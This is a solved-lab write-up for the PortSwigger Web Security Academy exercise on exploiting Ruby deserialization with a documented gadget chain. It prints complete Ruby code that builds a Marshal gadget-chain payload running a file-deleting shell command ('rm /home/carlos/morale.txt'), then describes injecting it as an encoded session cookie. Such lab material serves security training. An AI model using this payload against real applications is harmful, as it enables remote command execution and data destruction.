Exploiting Ruby deserialization using a documented gadget chain
Exploiting Ruby deserialization using a documented gadget chain
Platform: PortSwigger | Category: Insecure Deserialization | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, Insecure Deserialization
Summary
Walkthrough of the PortSwigger Web Security Academy lab Exploiting Ruby deserialization using a documented gadget chain (Insecure Deserialization). This lab demonstrates a insecure deserialization vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — Insecure Deserialization
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Solution :
Login to the site as wiener using the credentials provided.
Good read - https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
We can use the exploit code for** universal gadget chain in Ruby 2.x-3.x** mentioned from the above blog post. Just that we need to tweak the exploit according to our requirements.
ruby read-only • copy allowed# Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) # Set the variable value to delete the file in carlos directory. rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) ## Add the below line to base64 encode the payload puts Base64.encode64(payload)
Compile the code to get the malicious cookie payload.
Ruby 2.x compiler - https://domsignal.com/ruby-online-compiler
URL - encode the cookie value obtained & replace it in the cookie part.
Upon refreshing the page, we see that the server throws a 500 Server Error & also the lab is solved.
Key Takeaways / Lessons
- Understanding Insecure Deserialization detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Exploiting Ruby deserialization using a documented gadget chain